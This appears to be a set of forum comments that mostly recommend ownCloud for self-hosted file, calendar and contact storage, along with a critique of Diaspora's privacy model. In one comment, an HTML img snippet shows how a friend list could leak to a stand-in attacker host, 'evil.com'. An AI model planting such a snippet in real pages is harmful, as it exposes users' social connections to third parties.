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Well in this case maybe a better option is to use http://owncloud.org/ an open source alternative to Dropbox where friends, communities or trusted companies run services for smaller groups.

OwnCloud is a cloud. On your server. your way. And it's great: who does not want access to their data all the time, through the network?

Without some corporation snooping that is...

As long as we can run our own cloud on our own server at home, I'm all for it. Otherwise, screw it. I don't want to give any company control over my own godamn data.

Then perhaps you want to check out ownCloud. It's Open Source. You can host it yourself. They also have a provider you can rent from (which is how they make ends meet.) There are native clients for Android and iPhone. It supports SSL and can encrypt files stored on the server if you choose. It does a rudimentary form of versioning. It can even translate ODF files to HTML for easy online viewing of documents.

Your data, your control, your responsibility. Everything you just asked for.

Take drop box. Show me two apps one server and one client that uses the same client app across multiple platforms that allows for easy, secure syncing to not just one server, but any server I choose?

I'll take that open-source bet. http://owncloud.org/ I'm already running copies.

Is that so? I call bull shit

God damn, I got mentioned in a featured article and didn't notice until 2 days later (ages ago by Internet standards).

Soulskill, your answer is unsatisfactory. If I just wanted to have "something like facebook" the best and less painful way is to get on facebook. The motivation here is to stay away from facebook. I'm explaining you about ways my posts/profile information can leak to facebook. You dismiss my claim as a non-issue:

True, but generally if I've shared something with all of my friends on Facebook [sic] (and even more so if I've shared it with all of my friends-of-friends), I consider that data to have been "compromised" in a certain sense already.

Here I'm assuming you didn't meant Facebook but Diaspora (or equivalent). Basically if I share something to my extended network I should have no qualms with facebook reading it. Fair enough, but then I lose all motivation to avoid signing up on facebook.

On a side note this claim is false:

We know from hacks of people's email accounts that when attackers gain control of someone's account, they generally don't go through looking for private information, they just spam all of that person's friends with some Viagra ads and then move on.

You are forgetting CC numbers, SS numbers, home addresses and passwords. Attackers do look up for these strings. But we are talking about facebook, the guys that build ghosts profiles on non-users and correlate them with news papers articles and other 3rd party sources. There's a snowball-in-hell chance that they won't scan anything available in my nicely formatted Diaspora profile to build up my ghost facebook profile.

Then you address the conservative case:

Some users might have only a limited circle of friends on this distributed-social-networking system, and would share only very private information with them, and in that case their privacy concerns would be more serious. But users who were being that cautious, could set extra privacy on their accounts so that non-friends cannot see who is in their friends list.

No you can't. You cannot enforce shit on behalf of your friends' pod provider. Even if you trust your friends you also have to trust their service provider, one of which will be facebook, or Google or Twitter or some other CIA front. I know, this sounds paranoid, who needs this level of privacy? If you are doing something you don't want Eric Schmidt to know maybe you shouldn't be doing it, etc. Which are valid objections but defeat the purpose of not going with the flow and signing up on facebook.

In fact you give me an extra valid reason to trust facebook more than your proposed decentralized social network:

Now, if our new open protocol allows for messages from non-friends to be delivered to your "Inbox", then spammers would indeed probably bombard users with spam. On the other hand, if the only communication we allow from non-friends is friend requests, then the spam would come in the form of the friend requests themselves (many guys would probably accept a friend request from a hot girl, even if the social networking protocol dutifully warned them that they had no friends in common ).

Holy cow! You want to know what friends we have in common? Even with the use of hashing algorithms it seems impossible to not leak your friend list with every friend request you make, making it trivial to rebuild your social graph. Consider this snippet: <img src="mydiasporaprovider.com/add-friend?url=http://evil.com/om-nom-nom" />. Unless my diaspora provider is very careful, will leak my friend list to whoever controls evil.com.

I'm not completely negative, not completely. But I'm very serious about keeping my personal information outside of the reach of 3rd parties. The best solution I can come up with is one that doesn't give access to my friends' service provider. Take a look at http://owncloud.org/.

We need a home server revolution. We need it NOW.

That's exactly why people should be using http://owncloud.org/

Look, this is for one dude running his services. At best he will have a load of 0.25. The reason why other "cloud" services use auto balancing server farms is because the handle thousands of users concurrently. But even Google, for examples, their cloud does not "auto-upgrade" they have to add servers as demand rises and the server idle when demand drops. The only difference is that Google has all thousands of applications running with thousands of users and so statistical effects take hold and even out. Remember he is basically asking for a Google apps replacement, not a AWS cluster. http://owncloud.org/ looks interesting...

You could check out ownCloud. According to the website it supports encryption. Remember, though, that even if data is stored in encrypted form on disk, the hosting service could recover your data by monitoring your requests to the service. If that is a concern then you'll have to host it on a machine in your basement.

You could check out ownCloud. According to the website it supports encryption. Remember, though, that even if data is stored in encrypted form on disk, the hosting service could recover your data by monitoring your requests to the service. If that is a concern then you'll have to host it on a machine in your basement.

http://owncloud.org/

- Calendar
- Contacts
- dropbox like storage

If you want to store the data yourself, have a look at http://owncloud.org/features/

Or you could run http://owncloud.org/ on the server of your choosing and keep all your data to yourself.

The features are a mixed bag, but they're growing strong in all directions. http://owncube.com/ is a hosted option for it.

I'm using OwnCloud, a nice little KDE project that through WebDav even works on Windows and I'm sure my data stays out of the US or any other government controlled server.

Apple (iOS and OSX), Android, and BlackBerry all support CardDAV. SyncML is dead, not to be missed unless you're using fairly old hardware. For fun I started writing a CardDAV server (so now there are FOSS options written in PHP, Python, and Ruby), but more mature open source projects like Davical, owncloud, and Radicale exist. If you're the sort that likes Zimbra, that does CardDAV too. If you use Exchange, there's always Kerio... and someone's even come up with an adapter for webOS of all things. Looks like Microsoft is the lone holdout.

In contrast the Wikipedia article about SyncML states that interoperability is a big problem. Using SyncML or CardDAV is still bound to be more of a pain than swapping SIM cards, but I'm not sure I see much lost in the de-facto death of SyncML.

What about OwnCloud?

Or use your own.

Once again, free software comes to the rescue :)

Sounds like you're looking for ownCloud. It's still under heavy development but the file storage functions work very well and it's accessible on Mac, Windows & Linux via webdav and from everywhere else via a web interface. There are also a couple of mobile apps in the works and it runs on a standard LAMP stack. http://owncloud.org/index.php/Main_Page And a blog post about the current status: http://owncloudtest.blogspot.com/2011/06/owncloud-20-just-merged-with.html

On the open-source front, the only option I know is ownCloud. It provides the software to build your 'Cloud' storage, but you must provide your own hardware.

On the other side, you can try Wuala. It is not Open Source, but it encrypts all your files before uploading them. There are clients for almost every platform.

There is much better option for the cloud servers and it is a Own Cloud http://owncloud.org/index.php/Main_Page

It is totally open source, free software, developed for single users, privat corporations and public use.
User is not tied to Canonical propietary and privat ecosystem.

ps. Ubuntu is not a operating system. Linux kernel in the Ubuntu is the operating system. Ubuntu is just a software system, one of the few hundreds of the Linux distributions. People has better futures when staying away from Canonicals products.